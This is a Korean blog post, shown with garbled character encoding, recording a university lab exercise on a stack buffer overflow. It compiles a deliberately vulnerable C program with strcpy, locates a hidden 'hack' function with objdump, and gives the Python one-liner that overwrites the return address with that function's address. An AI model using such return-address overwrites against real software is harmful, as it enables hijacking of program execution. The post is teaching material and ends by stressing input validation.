[๋ชจ์˜ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ ์‹ค์Šต

728x90
๋ฐ˜์‘ํ˜•

! ์ด ํฌ์ŠคํŠธ์˜ ๋‚ด์šฉ์€ ์ „๊ณต ๊ฐ•์˜์—์„œ ๋‹ค๋ฃฌ ๋ฆฌ๋ˆ…์Šค ๋ณด์•ˆ ์‹ค์Šต์˜ ๊ธฐ๋ก์šฉ์ด๋ฉฐ, ์ด๋Š” ํ•™์Šต ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

! ์–ด๋– ํ•œ ๊ฒฝ์šฐ์—๋„ ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์•…์šฉํ•˜๊ฑฐ๋‚˜ ๋ถˆ๋ฒ•์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

 

! ๋ชจ์˜ ํ•ดํ‚น๊ณผ ๊ด€๋ จ๋œ ์‹ค์Šต์€ ํ•ฉ๋ฒ•์ ์ธ ํ™˜๊ฒฝ์—์„œ๋งŒ ์ˆ˜ํ–‰๋˜์–ด์•ผ ํ•˜๋ฉฐ, ๋ฌด๋‹จ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๋Š” ๋“ฑ์˜ ํ–‰์œ„๋Š” ๋ฒ•์ ์ธ ๋ฌธ์ œ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ํ•ญ์ƒ ์œค๋ฆฌ์ ์ธ ์ฑ…์ž„์„ ๊ฐ–๊ณ  ํ–‰๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

 

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ž€?

 

์ปดํ“จํ„ฐ ํ”„๋กœ๊ทธ๋žจ์ด ๊ณ ์ •๋œ ๊ธธ์ด์˜ ๋ฒ„ํผ(buffer)๋ณด๋‹ค ๋” ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ ค๊ณ  ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ๋‹จ์ˆœํ•œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์˜ค๋ฅ˜์ผ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ์•…์˜์ ์ธ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด๋‹ค

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ(Buffer Overflow Attack)์€ ์ฃผ๋กœ ์‹œ์Šคํ…œ ๊ถŒํ•œ์„ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ๋‹ค

 

 

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํŒŒ์ผ ์ƒ์„ฑ

- (์ถ”๊ฐ€ ์˜ˆ์ •) -

 

gcc ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด ์ปดํŒŒ์ผ

 

์†Œ์ŠคํŒŒ์ผ์„ ์ปดํŒŒ์ผํ•˜์—ฌ ๋””๋ฒ„๊น… ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์‹คํ–‰ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค

# gcc -g -o overflow overflow.c
์˜ต์…˜ ์„ค๋ช…
gcc GNU Compiler Collection์˜ C ์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ช…๋ น์–ด
-g ๋””๋ฒ„๊น… ์ •๋ณด๋ฅผ ํฌํ•จํ•˜์—ฌ ์ปดํŒŒ์ผ
-o ์ถœ๋ ฅ ํŒŒ์ผ ์ด๋ฆ„

 

 

 

์‹คํ–‰ํŒŒ์ผ ๋‚ด 'hack' ํ•จ์ˆ˜ ์ฐพ๊ธฐ

 

 

์‹คํ–‰ํŒŒ์ผ์˜ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ์—์„œ 'hack' ๋ ˆ์ด๋ธ”์„ ๊ฒ€์ƒ‰ํ•˜๊ณ , ํ•ด๋‹น ๋ ˆ์ด๋ธ”์ด ํฌํ•จ๋œ ์ค„๊ณผ ๊ทธ ๋‹ค์Œ ๋‘ ์ค„์„ ์ถœ๋ ฅํ•œ๋‹ค.

# objdump -D overflow | grep -A2 hack. :
์˜ต์…˜ ์„ค๋ช…
objdump ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ, ์‹คํ–‰ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ถ„์„ํ•˜๊ณ  ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌํ•˜๋Š” ์œ ํ‹ธ๋ฆฌํ‹ฐ
-D ๋“  ์„น์…˜์„ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ
grep ํ…์ŠคํŠธ ๊ฒ€์ƒ‰ ๋„๊ตฌ๋กœ, ์ฃผ์–ด์ง„ ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋Š” ์ค„์„ ์ถœ๋ ฅ
-A2 ๋งค์น˜๋œ ์ค„๊ณผ ๋”๋ถˆ์–ด ๊ทธ ์ดํ›„์˜ N์ค„์„ ์ถ”๊ฐ€๋กœ ์ถœ๋ ฅ

 

๊ฒฐ๊ณผ๋Š” 'hack' ํ•จ์ˆ˜๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์ธ '0x08048614'์—์„œ ์‹œ์ž‘ํ•˜๋ฉฐ, ์ฒซ ๋‘ ๊ฐœ์˜ ์–ด์…ˆ๋ธ”๋ฆฌ ๋ช…๋ น์–ด์ธ 'push %ebp'์™€ 'mov %esp, %ebp'๋ฅผ ๋ณด์—ฌ์ค€๋‹ค

 

 

 

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ

 

ํŒŒ์ด์ฌ์„ ์ด์šฉํ•˜์—ฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ๋ฌธ์ž์—ด ์ž…๋ ฅํ•œ๋‹ค.

# ./overflow 'python -c 'print "A" *23''

 

 

์ฝ”๋“œ ๋ถ„์„

int main(int argc, char* argv[]){
	char buf[20];
    dumpcode((char*)buf, 32);
	...
}

 

char ํ˜•์œผ๋กœ 20byte ํฌ๊ธฐ์— buf๋ผ๋Š” ๋ฐฐ์—ด์„ ์„ ์–ธํ•œ๋‹ค. ์ด ๋ฐฐ์—ด์€ ์ž…๋ ฅ ๋ฌธ์ž์—ด์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋ฒ„ํผ์ด๋‹ค.

dumpcode๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋ฒ„ํผ์˜ ์ดˆ๊ธฐ ์ƒํƒœ๋ฅผ 32byte๊นŒ์ง€ ์ถœ๋ ฅํ•œ๋‹ค.

 

 

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด buf  ๋ฐฐ์—ด์˜ ์ด 32๋ฐ”์ดํŠธ ๊ฐ’์˜ ์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฒ˜์Œ 20๋ฐ”์ดํŠธ๋Š” buf ๋ฐฐ์—ด์— ๋ฌธ์ž์—ด์ด ์ €์žฅ ๋  ๊ฐ’์ด๊ณ , ๋ฐ”๋กœ ๋‹ค์Œ 4๋ฐ”์ดํŠธ๋Š” ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ, ๋‹ค์Œ 4๋ฐ”์ดํŠธ๋Š” ๋ณต๊ท€์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋œ๋‹ค.

 

 

int main(int argc, char* argv[]) {
	...
    
    printf("buf: %p\n", (void*)&buf); // ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅ
    strcpy(buf, argv[1]); // argv[1]์˜ ๋ฌธ์ž์—ด์„ ๋ฒ„ํผ์— ๋ณต์‚ฌ
    printf("s\n%s\n", buf); // ๋ฒ„ํผ์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅ
    
    ...
}

 

 

 

 

int main(int argc, char* argv[]) {
	...
    
    dumpcode((char*)buf, 32); // ๋ฒ„ํผ์˜ ๋ณ€๊ฒฝ๋œ ์ƒํƒœ๋ฅผ ์ถœ๋ ฅ
    return 0; // ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ
}

 

์œ„ ์ฝ”๋“œ์—์„œ strcpy๋ฅผ ํ†ตํ•ด ์ž…๋ ฅ๋ฐ›์€ ๋ฌธ์ž์—ด(23๊ฐœ์˜ A)์„ buf ๋ฐฐ์—ด์— ๋ณต์‚ฌํ•œ ํ›„ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์ฝ”๋“œ์ด๋‹ค.

 

 

์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด, ๋ฌธ์ž์—ด์ด ์ž…๋ ฅ๋˜๊ธฐ ์ „๊ณผ ๋‹ฌ๋ฆฌ ์ด 23๋ฐ”์ดํŠธ๊ฐ€ A ๋ฌธ์ž์—ด(์•„์Šคํ‚ค์ฝ”๋“œ : 0x41)๋กœ ์ฑ„์›Œ์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฒ˜์Œ ์„ค์ •ํ•œ buf์˜ ํฌ๊ธฐ์ธ 20byte๊ฐ€ ์ดˆ๊ณผ๋˜์–ด ๋’ค์— ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๊นŒ์ง€ ๋ฌธ์ž๋กœ ๋ฎ์–ด์ง„ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋˜๋Š” ๊ณผ์ •์„ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

 

 

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐœ์ƒ ํ›„ hack ํ•จ์ˆ˜ ์‹คํ–‰์‹œํ‚ค๊ธฐ

 

์œ„์—์„œ ํ™•์ธํ–ˆ๋˜ ๊ฒƒ์ฒ˜๋Ÿผ ์ฒ˜์Œ ์„ค์ •ํ•œ buf ํฌ๊ธฐ๋ฅผ ์ดˆ๊ณผํ•œ ์ž…๋ ฅ์„ ์ฃผ์–ด ๋‹ค์Œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ’์„ ๊ฐ•์ œ๋กœ ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ฎ์–ด์”Œ์šฐ๊ฒŒ ๋˜๋ฉด ์ด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

# objdump -D overflow | grep -A2 hack. :
# ./overflow 'python -c'print "A" *24 + "\x14\x86\x04\x08"''

 

์•ž์—์„œ ํ™•์ธํ–ˆ๋˜ hack() ํ•จ์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์ธ ' 0x08048614'์„ buf ํฌ๊ธฐ๋ฅผ ์ดˆ๊ณผํ•œ ๋ฌธ์ž์—ด ๋’ค์— ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ํ”„๋ ˆ์ž„ํฌ์ธํ„ฐ๊ฐ€ hack()ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ํ•œ๋‹ค.

 

 

 

์ด์ฒ˜๋Ÿผ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ด ๋ฎ์–ด์“ฐ์—ฌ์ ธ ํ”„๋กœ๊ทธ๋žจ์˜ ๋™์ž‘์ด ์˜ˆ๊ธฐ์น˜ ์•Š๊ฒŒ ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋กœ ์ธํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ถฉ๋Œํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ด ์ฝ”๋“œ๋Š” ๊ต์œก ๋ชฉ์ ์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์ง€๋งŒ, ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ๋Š” ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์™€ ๊ฐ™์€ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜์ง€ ์•Š๋„๋ก ์ž…๋ ฅ ๊ฒ€์ฆ์„ ์ฒ ์ €ํžˆ ํ•ด์•ผ ํ•œ๋‹ค. 

๋ฐ˜์‘ํ˜•